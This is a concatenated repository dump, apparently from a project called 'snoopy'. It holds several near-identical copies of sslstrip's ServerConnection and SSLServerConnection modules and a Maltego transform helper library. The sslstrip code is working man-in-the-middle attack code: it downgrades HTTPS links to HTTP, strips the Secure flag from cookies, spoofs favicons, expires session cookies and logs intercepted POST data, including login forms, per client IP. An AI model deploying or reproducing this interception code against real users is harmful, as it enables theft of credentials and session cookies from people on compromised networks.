88 | pathList = path.split("/")
89 | expireStrings = list()
90 |
91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain +
92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
93 |
94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host +
95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
96 |
97 | if len(pathList) > 2:
98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
100 |
101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
103 |
104 | return expireStrings
105 |
106 |
107 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip/SSLServerConnection.py~:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging, re, string
20 |
21 | from ServerConnection import ServerConnection
22 |
23 | class SSLServerConnection(ServerConnection):
24 |
25 | '''
26 | For SSL connections to a server, we need to do some additional stripping. First we need
27 | to make note of any relative links, as the server will be expecting those to be requested
28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies.
29 | '''
30 |
31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE)
32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE)
33 | iconExpression = re.compile(r" ", re.IGNORECASE)
34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
35 | headExpression = re.compile(r"", re.IGNORECASE)
36 |
37 | def __init__(self, command, uri, postData, headers, client):
38 | self.client = client
39 | ServerConnection.__init__(self, command, uri, postData, headers, client)
40 |
41 | def getLogLevel(self):
42 | return logging.INFO
43 |
44 | def getPostPrefix(self):
45 | return "SECURE POST"
46 |
47 | def handleHeader(self, key, value):
48 | if (key.lower() == 'set-cookie'):
49 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
50 |
51 | ServerConnection.handleHeader(self, key, value)
52 |
53 | def stripFileFromPath(self, path):
54 | (strippedPath, lastSlash, file) = path.rpartition('/')
55 | return strippedPath
56 |
57 | def buildAbsoluteLink(self, link):
58 | absoluteLink = ""
59 |
60 | if ((not link.startswith('http')) and (not link.startswith('/'))):
61 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
62 |
63 | logging.debug("Found path-relative link in secure transmission: " + link % (self.client.getClientIP()))
64 | logging.debug("New Absolute path-relative link: " + absoluteLink % (self.clien.getClientIP()))
65 | elif not link.startswith('http'):
66 | absoluteLink = "http://"+self.headers['host']+link
67 |
68 | logging.debug("Found relative link in secure transmission: " + link % (self.client.getClientIP()))
69 | logging.debug("New Absolute link: " + absoluteLink % (self.client.getClientIP()))
70 |
71 | if not absoluteLink == "":
72 | absoluteLink = absoluteLink.replace('&', '&')
73 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink);
74 |
75 | def replaceCssLinks(self, data):
76 | iterator = re.finditer(SSLServerConnection.cssExpression, data)
77 |
78 | for match in iterator:
79 | self.buildAbsoluteLink(match.group(1))
80 |
81 | return data
82 |
83 | def replaceFavicon(self, data):
84 | match = re.search(SSLServerConnection.iconExpression, data)
85 |
86 | if (match != None):
87 | data = re.sub(SSLServerConnection.iconExpression,
88 | " ", data)
89 | else:
90 | data = re.sub(SSLServerConnection.headExpression,
91 | " ", data)
92 |
93 | return data
94 |
95 | def replaceSecureLinks(self, data):
96 | data = ServerConnection.replaceSecureLinks(self, data)
97 | data = self.replaceCssLinks(data)
98 |
99 | if (self.urlMonitor.isFaviconSpoofing()):
100 | data = self.replaceFavicon(data)
101 |
102 | iterator = re.finditer(SSLServerConnection.linkExpression, data)
103 |
104 | for match in iterator:
105 | self.buildAbsoluteLink(match.group(10))
106 |
107 | return data
108 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip/SSLServerConnection.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging, re, string
20 |
21 | from ServerConnection import ServerConnection
22 |
23 | class SSLServerConnection(ServerConnection):
24 |
25 | '''
26 | For SSL connections to a server, we need to do some additional stripping. First we need
27 | to make note of any relative links, as the server will be expecting those to be requested
28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies.
29 | '''
30 |
31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE)
32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE)
33 | iconExpression = re.compile(r" ", re.IGNORECASE)
34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
35 | headExpression = re.compile(r"", re.IGNORECASE)
36 |
37 | def __init__(self, command, uri, postData, headers, client):
38 | self.client = client
39 | ServerConnection.__init__(self, command, uri, postData, headers, client)
40 |
41 | def getLogLevel(self):
42 | return logging.INFO
43 |
44 | def getPostPrefix(self):
45 | return "SECURE POST"
46 |
47 | def handleHeader(self, key, value):
48 | if (key.lower() == 'set-cookie'):
49 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
50 |
51 | ServerConnection.handleHeader(self, key, value)
52 |
53 | def stripFileFromPath(self, path):
54 | (strippedPath, lastSlash, file) = path.rpartition('/')
55 | return strippedPath
56 |
57 | def buildAbsoluteLink(self, link):
58 | absoluteLink = ""
59 |
60 | if ((not link.startswith('http')) and (not link.startswith('/'))):
61 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
62 |
63 | # logging.debug("Client:%s Found path-relative link in secure transmission: " + link % (self.client.getClientIP()))
64 | # logging.debug("Client:%s New Absolute path-relative link: " + absoluteLink % (self.clien.getClientIP()))
65 | elif not link.startswith('http'):
66 | absoluteLink = "http://"+self.headers['host']+link
67 |
68 | # logging.debug("Client:%s Found relative link in secure transmission: " + link % (self.client.getClientIP()))
69 | # logging.debug("Client:%s New Absolute link: " + absoluteLink % (self.client.getClientIP()))
70 |
71 | if not absoluteLink == "":
72 | absoluteLink = absoluteLink.replace('&', '&')
73 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink);
74 |
75 | def replaceCssLinks(self, data):
76 | iterator = re.finditer(SSLServerConnection.cssExpression, data)
77 |
78 | for match in iterator:
79 | self.buildAbsoluteLink(match.group(1))
80 |
81 | return data
82 |
83 | def replaceFavicon(self, data):
84 | match = re.search(SSLServerConnection.iconExpression, data)
85 |
86 | if (match != None):
87 | data = re.sub(SSLServerConnection.iconExpression,
88 | " ", data)
89 | else:
90 | data = re.sub(SSLServerConnection.headExpression,
91 | " ", data)
92 |
93 | return data
94 |
95 | def replaceSecureLinks(self, data):
96 | data = ServerConnection.replaceSecureLinks(self, data)
97 | data = self.replaceCssLinks(data)
98 |
99 | if (self.urlMonitor.isFaviconSpoofing()):
100 | data = self.replaceFavicon(data)
101 |
102 | iterator = re.finditer(SSLServerConnection.linkExpression, data)
103 |
104 | for match in iterator:
105 | self.buildAbsoluteLink(match.group(10))
106 |
107 | return data
108 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/SSLServerConnection.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging, re, string
20 |
21 | from ServerConnection import ServerConnection
22 |
23 | class SSLServerConnection(ServerConnection):
24 |
25 | '''
26 | For SSL connections to a server, we need to do some additional stripping. First we need
27 | to make note of any relative links, as the server will be expecting those to be requested
28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies.
29 | '''
30 |
31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE)
32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE)
33 | iconExpression = re.compile(r" ", re.IGNORECASE)
34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
35 | headExpression = re.compile(r"", re.IGNORECASE)
36 |
37 | def __init__(self, command, uri, postData, headers, client):
38 | self.client = client
39 | ServerConnection.__init__(self, command, uri, postData, headers, client)
40 |
41 | def getLogLevel(self):
42 | return logging.INFO
43 |
44 | def getPostPrefix(self):
45 | return "SECURE POST"
46 |
47 | def handleHeader(self, key, value):
48 | if (key.lower() == 'set-cookie'):
49 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
50 |
51 | ServerConnection.handleHeader(self, key, value)
52 |
53 | def stripFileFromPath(self, path):
54 | (strippedPath, lastSlash, file) = path.rpartition('/')
55 | return strippedPath
56 |
57 | def buildAbsoluteLink(self, link):
58 | absoluteLink = ""
59 |
60 | if ((not link.startswith('http')) and (not link.startswith('/'))):
61 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
62 |
63 | logging.debug("Client:%s Found path-relative link in secure transmission: " + link % (self.client.getClientIP()))
64 | logging.debug("Client:%s New Absolute path-relative link: " + absoluteLink % (self.clien.getClientIP()))
65 | elif not link.startswith('http'):
66 | absoluteLink = "http://"+self.headers['host']+link
67 |
68 | logging.debug("Client:%s Found relative link in secure transmission: " + link % (self.client.getClientIP()))
69 | logging.debug("Client:%s New Absolute link: " + absoluteLink % (self.client.getClientIP()))
70 |
71 | if not absoluteLink == "":
72 | absoluteLink = absoluteLink.replace('&', '&')
73 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink);
74 |
75 | def replaceCssLinks(self, data):
76 | iterator = re.finditer(SSLServerConnection.cssExpression, data)
77 |
78 | for match in iterator:
79 | self.buildAbsoluteLink(match.group(1))
80 |
81 | return data
82 |
83 | def replaceFavicon(self, data):
84 | match = re.search(SSLServerConnection.iconExpression, data)
85 |
86 | if (match != None):
87 | data = re.sub(SSLServerConnection.iconExpression,
88 | " ", data)
89 | else:
90 | data = re.sub(SSLServerConnection.headExpression,
91 | " ", data)
92 |
93 | return data
94 |
95 | def replaceSecureLinks(self, data):
96 | data = ServerConnection.replaceSecureLinks(self, data)
97 | data = self.replaceCssLinks(data)
98 |
99 | if (self.urlMonitor.isFaviconSpoofing()):
100 | data = self.replaceFavicon(data)
101 |
102 | iterator = re.finditer(SSLServerConnection.linkExpression, data)
103 |
104 | for match in iterator:
105 | self.buildAbsoluteLink(match.group(10))
106 |
107 | return data
108 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip/ServerConnection.py~:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging, re, string, random, zlib, gzip, StringIO
20 |
21 | from twisted.web.http import HTTPClient
22 | from URLMonitor import URLMonitor
23 |
24 | class ServerConnection(HTTPClient):
25 |
26 | ''' The server connection is where we do the bulk of the stripping. Everything that
27 | comes back is examined. The headers we dont like are removed, and the links are stripped
28 | from HTTPS to HTTP.
29 | '''
30 |
31 | urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE)
32 | urlType = re.compile(r"https://", re.IGNORECASE)
33 | urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE)
34 |
35 | def __init__(self, command, uri, postData, headers, client):
36 | self.command = command
37 | self.uri = uri
38 | self.postData = postData
39 | self.headers = headers
40 | self.client = client
41 | self.urlMonitor = URLMonitor.getInstance()
42 | self.isImageRequest = False
43 | self.isCompressed = False
44 | self.contentLength = None
45 | self.shutdownComplete = False
46 | print self.client
47 |
48 | def getLogLevel(self):
49 | return logging.DEBUG
50 |
51 | def getPostPrefix(self):
52 | return "POST"
53 |
54 | def sendRequest(self):
55 | logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri))
56 | self.sendCommand(self.command, self.uri)
57 |
58 | def sendHeaders(self):
59 | for header, value in self.headers.items():
60 | logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value))
61 | self.sendHeader(header, value)
62 |
63 | self.endHeaders()
64 |
65 | def sendPostData(self):
66 | logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData))
67 | print self.client
68 | self.transport.write(self.postData)
69 |
70 | def connectionMade(self):
71 | logging.log(self.getLogLevel(), "HTTP connection made.")
72 | self.sendRequest()
73 | self.sendHeaders()
74 |
75 | if (self.command == 'POST'):
76 | self.sendPostData()
77 |
78 | def handleStatus(self, version, code, message):
79 | logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message))
80 | self.client.setResponseCode(int(code), message)
81 |
82 | def handleHeader(self, key, value):
83 | logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value))
84 |
85 | if (key.lower() == 'location'):
86 | value = self.replaceSecureLinks(value)
87 |
88 | if (key.lower() == 'content-type'):
89 | if (value.find('image') != -1):
90 | self.isImageRequest = True
91 | logging.debug("Response is image content, not scanning...")
92 |
93 | if (key.lower() == 'content-encoding'):
94 | if (value.find('gzip') != -1):
95 | logging.debug("Response is compressed...")
96 | self.isCompressed = True
97 | elif (key.lower() == 'content-length'):
98 | self.contentLength = value
99 | elif (key.lower() == 'set-cookie'):
100 | self.client.responseHeaders.addRawHeader(key, value)
101 | else:
102 | self.client.setHeader(key, value)
103 |
104 | def handleEndHeaders(self):
105 | if (self.isImageRequest and self.contentLength != None):
106 | self.client.setHeader("Content-Length", self.contentLength)
107 |
108 | if self.length == 0:
109 | self.shutdown()
110 |
111 | def handleResponsePart(self, data):
112 | if (self.isImageRequest):
113 | self.client.write(data)
114 | else:
115 | HTTPClient.handleResponsePart(self, data)
116 |
117 | def handleResponseEnd(self):
118 | if (self.isImageRequest):
119 | self.shutdown()
120 | else:
121 | HTTPClient.handleResponseEnd(self)
122 |
123 | def handleResponse(self, data):
124 | if (self.isCompressed):
125 | logging.debug("Decompressing content...")
126 | data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
127 |
128 | logging.log(self.getLogLevel(), "Read from server:\n" + data)
129 |
130 | data = self.replaceSecureLinks(data)
131 |
132 | if (self.contentLength != None):
133 | self.client.setHeader('Content-Length', len(data))
134 |
135 | self.client.write(data)
136 | self.shutdown()
137 |
138 | def replaceSecureLinks(self, data):
139 | iterator = re.finditer(ServerConnection.urlExpression, data)
140 |
141 | for match in iterator:
142 | url = match.group()
143 |
144 | logging.debug("Found secure reference: " + url)
145 |
146 | url = url.replace('https://', 'http://', 1)
147 | url = url.replace('&', '&')
148 | self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
149 |
150 | data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data)
151 | return re.sub(ServerConnection.urlType, 'http://', data)
152 |
153 | def shutdown(self):
154 | if not self.shutdownComplete:
155 | self.shutdownComplete = True
156 | self.client.finish()
157 | self.transport.loseConnection()
158 |
159 |
160 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/Maltego.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | #
3 | # This might be horrible code...
4 | # ...but it works
5 | # Feel free to re-write in a better way
6 | # And if you want to - send it to us, we'll update ;)
7 | # maltego@paterva.com (2010/10/18)
8 | #
9 | import sys
10 | from xml.dom import minidom
11 |
12 | class MaltegoEntity(object):
13 | value = "";
14 | weight = 100;
15 | displayInformation = "";
16 | additionalFields = [];
17 | iconURL = "";
18 | entityType = "Phrase"
19 |
20 | def __init__(self,eT=None,v=None):
21 | if (eT is not None):
22 | self.entityType = eT;
23 | if (v is not None):
24 | self.value = v;
25 | self.additionalFields = None;
26 | self.additionalFields = [];
27 | self.weight = 100;
28 | self.displayInformation = "";
29 | self.iconURL = "";
30 |
31 | def setType(self,eT=None):
32 | if (eT is not None):
33 | self.entityType = eT;
34 |
35 | def setValue(self,eV=None):
36 | if (eV is not None):
37 | self.value = eV;
38 |
39 | def setWeight(self,w=None):
40 | if (w is not None):
41 | self.weight = w;
42 |
43 | def setDisplayInformation(self,di=None):
44 | if (di is not None):
45 | self.displayInformation = di;
46 |
47 | def addAdditionalFields(self,fieldName=None,displayName=None,matchingRule=False,value=None):
48 | self.additionalFields.append([fieldName,displayName,matchingRule,value]);
49 |
50 | def setIconURL(self,iU=None):
51 | if (iU is not None):
52 | self.iconURL = iU;
53 |
54 | def returnEntity(self):
55 | print "";
56 | print "" + str(self.value) + " ";
57 | print "" + str(self.weight) + " ";
58 | if (self.displayInformation is not None):
59 | print " ";
60 | if (len(self.additionalFields) > 0):
61 | print "";
62 | for i in range(len(self.additionalFields)):
63 | if (str(self.additionalFields[i][2]) <> "strict"):
64 | print "" + str(self.additionalFields[i][3]) + " ";
65 | else:
66 | print "" + str(self.additionalFields[i][3]) + " ";
67 | print " ";
68 | if (len(self.iconURL) > 0):
69 | print "" + self.iconURL + " ";
70 | print " ";
71 |
72 |
73 |
74 |
75 |
76 |
77 | class MaltegoTransform(object):
78 | entities = []
79 | exceptions = []
80 | UIMessages = []
81 |
82 | #def __init__(self):
83 | #empty.
84 |
85 | def addEntity(self,enType,enValue):
86 | me = MaltegoEntity(enType,enValue);
87 | self.addEntityToMessage(me);
88 | return self.entities[len(self.entities)-1];
89 |
90 | def addEntityToMessage(self,maltegoEntity):
91 | self.entities.append(maltegoEntity);
92 |
93 | def addUIMessage(self,message,messageType="Inform"):
94 | self.UIMessages.append([messageType,message]);
95 |
96 | def addException(self,exceptionString):
97 | self.exceptions.append(exceptionString);
98 |
99 | def throwExceptions(self):
100 | print "";
101 | print "";
102 | print ""
103 |
104 | for i in range(len(self.exceptions)):
105 | print "" + self.exceptions[i] + " ";
106 | print ""
107 | print " ";
108 | print " ";
109 |
110 | def returnOutput(self):
111 | print "";
112 | print "";
113 |
114 | print ""
115 | for i in range(len(self.entities)):
116 | self.entities[i].returnEntity();
117 | print " "
118 |
119 | print ""
120 | for i in range(len(self.UIMessages)):
121 | print "" + self.UIMessages[i][1] + " ";
122 | print " "
123 |
124 | print " ";
125 | print " ";
126 |
127 | def writeSTDERR(self,msg):
128 | sys.stderr.write(str(msg));
129 |
130 | def heartbeat(self):
131 | self.writeSTDERR("+");
132 |
133 | def progress(self,percent):
134 | self.writeSTDERR("%" + str(percent));
135 |
136 | def debug(self,msg):
137 | self.writeSTDERR("D:" + str(msg));
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 | class MaltegoMsg:
146 |
147 | def __init__(self,MaltegoXML=""):
148 |
149 | xmldoc = minidom.parseString(MaltegoXML)
150 |
151 | #read the easy stuff like value, limits etc
152 | self.Value = self.i_getNodeValue(xmldoc,"Value")
153 | self.Weight = self.i_getNodeValue(xmldoc,"Weight")
154 | self.Slider = self.i_getNodeAttributeValue(xmldoc,"Limits","SoftLimit")
155 | self.Type = self.i_getNodeAttributeValue(xmldoc,"Entity","Type")
156 |
157 |
158 | #read additional fields
159 | AdditionalFields = {}
160 | try:
161 | AFNodes= xmldoc.getElementsByTagName("AdditionalFields")[0]
162 | Settings = AFNodes.getElementsByTagName("Field")
163 | for node in Settings:
164 | AFName = node.attributes["Name"].value;
165 | AFValue = self.i_getText(node.childNodes);
166 | AdditionalFields[AFName] = AFValue
167 | except:
168 | #sure this is not the right way...;)
169 | dontcare=1
170 |
171 |
172 | #parse transform settings
173 | TransformSettings = {}
174 | try:
175 | TSNodes= xmldoc.getElementsByTagName("TransformFields")[0]
176 | Settings = TSNodes.getElementsByTagName("Field")
177 | for node in Settings:
178 | TSName = node.attributes["Name"].value;
179 | TSValue = self.i_getText(node.childNodes);
180 | TransformSettings[TSName] = TSValue
181 | except:
182 | dontcare=1
183 |
184 | #load back into object
185 | self.AdditionalFields = AdditionalFields
186 | self.TransformSettings = TransformSettings
187 |
188 | def i_getText(self,nodelist):
189 | rc = []
190 | for node in nodelist:
191 | if node.nodeType == node.TEXT_NODE:
192 | rc.append(node.data)
193 | return ''.join(rc)
194 |
195 |
196 | def i_getNodeValue(self,node,Tag):
197 | return self.i_getText(node.getElementsByTagName(Tag)[0].childNodes)
198 |
199 | def i_getNodeAttributeValue(self,node,Tag,Attribute):
200 | return node.getElementsByTagName(Tag)[0].attributes[Attribute].value;
201 |
202 |
203 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/ServerConnection.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging, re, string, random, zlib, gzip, StringIO
20 |
21 | from twisted.web.http import HTTPClient
22 | from URLMonitor import URLMonitor
23 |
24 | class ServerConnection(HTTPClient):
25 |
26 | ''' The server connection is where we do the bulk of the stripping. Everything that
27 | comes back is examined. The headers we dont like are removed, and the links are stripped
28 | from HTTPS to HTTP.
29 | '''
30 |
31 | urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE)
32 | urlType = re.compile(r"https://", re.IGNORECASE)
33 | urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE)
34 |
35 | def __init__(self, command, uri, postData, headers, client):
36 | self.command = command
37 | self.uri = uri
38 | self.postData = postData
39 | self.headers = headers
40 | self.client = client
41 | self.urlMonitor = URLMonitor.getInstance()
42 | self.isImageRequest = False
43 | self.isCompressed = False
44 | self.contentLength = None
45 | self.shutdownComplete = False
46 | print self.client
47 |
48 | def getLogLevel(self):
49 | return logging.DEBUG
50 |
51 | def getPostPrefix(self):
52 | return "POST"
53 |
54 | def sendRequest(self):
55 | logging.log(self.getLogLevel(), "Client:%s Sending Request: %s %s" % (self.client.getClientIP(), self.command, self.uri))
56 | self.sendCommand(self.command, self.uri)
57 |
58 | def sendHeaders(self):
59 | for header, value in self.headers.items():
60 | logging.log(self.getLogLevel(), "Client:%s Sending header: %s : %s" % (self.client.getClientIP(), header, value))
61 | self.sendHeader(header, value)
62 |
63 | self.endHeaders()
64 |
65 | def sendPostData(self):
66 | logging.warning("Client:" + self.client.getClientIP() + " " + self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData))
67 | self.transport.write(self.postData)
68 |
69 | def connectionMade(self):
70 | logging.log(self.getLogLevel(), "Client:%s HTTP connection made." % (self.client.getClientIP()))
71 | self.sendRequest()
72 | self.sendHeaders()
73 |
74 | if (self.command == 'POST'):
75 | self.sendPostData()
76 |
77 | def handleStatus(self, version, code, message):
78 | logging.log(self.getLogLevel(), "Client:%s Got server response: %s %s %s" % (self.client.getClientIP(), version, code, message))
79 | self.client.setResponseCode(int(code), message)
80 |
81 | def handleHeader(self, key, value):
82 | logging.log(self.getLogLevel(), "Client:%s Got server header: %s:%s" % (self.client.getClientIP(), key, value))
83 |
84 | if (key.lower() == 'location'):
85 | value = self.replaceSecureLinks(value)
86 |
87 | if (key.lower() == 'content-type'):
88 | if (value.find('image') != -1):
89 | self.isImageRequest = True
90 | logging.debug("Client:%s Response is image content, not scanning..." % (self.client.getClientIP()))
91 |
92 | if (key.lower() == 'content-encoding'):
93 | if (value.find('gzip') != -1):
94 | logging.debug("Client:%s Response is compressed..." % (self.client.getClientIP()))
95 | self.isCompressed = True
96 | elif (key.lower() == 'content-length'):
97 | self.contentLength = value
98 | elif (key.lower() == 'set-cookie'):
99 | self.client.responseHeaders.addRawHeader(key, value)
100 | else:
101 | self.client.setHeader(key, value)
102 |
103 | def handleEndHeaders(self):
104 | if (self.isImageRequest and self.contentLength != None):
105 | self.client.setHeader("Content-Length", self.contentLength)
106 |
107 | if self.length == 0:
108 | self.shutdown()
109 |
110 | def handleResponsePart(self, data):
111 | if (self.isImageRequest):
112 | self.client.write(data)
113 | else:
114 | HTTPClient.handleResponsePart(self, data)
115 |
116 | def handleResponseEnd(self):
117 | if (self.isImageRequest):
118 | self.shutdown()
119 | else:
120 | HTTPClient.handleResponseEnd(self)
121 |
122 | def handleResponse(self, data):
123 | if (self.isCompressed):
124 | logging.debug("Client:%s Decompressing content..." % (self.client.getClientIP()))
125 | data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
126 |
127 | logging.log(self.getLogLevel(), "Client:" + self.client.getClientIP() + " Read from server:\n" + data)
128 |
129 | data = self.replaceSecureLinks(data)
130 |
131 | if (self.contentLength != None):
132 | self.client.setHeader('Content-Length', len(data))
133 |
134 | self.client.write(data)
135 | self.shutdown()
136 |
137 | def replaceSecureLinks(self, data):
138 | iterator = re.finditer(ServerConnection.urlExpression, data)
139 |
140 | for match in iterator:
141 | url = match.group()
142 |
143 | logging.debug("Client:" + self.client.getClientIP() + " Found secure reference: " + url)
144 |
145 | url = url.replace('https://', 'http://', 1)
146 | url = url.replace('&', '&')
147 | self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
148 |
149 | data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data)
150 | return re.sub(ServerConnection.urlType, 'http://', data)
151 |
152 | def shutdown(self):
153 | if not self.shutdownComplete:
154 | self.shutdownComplete = True
155 | self.client.finish()
156 | self.transport.loseConnection()
157 |
158 |
159 |
--------------------------------------------------------------------------------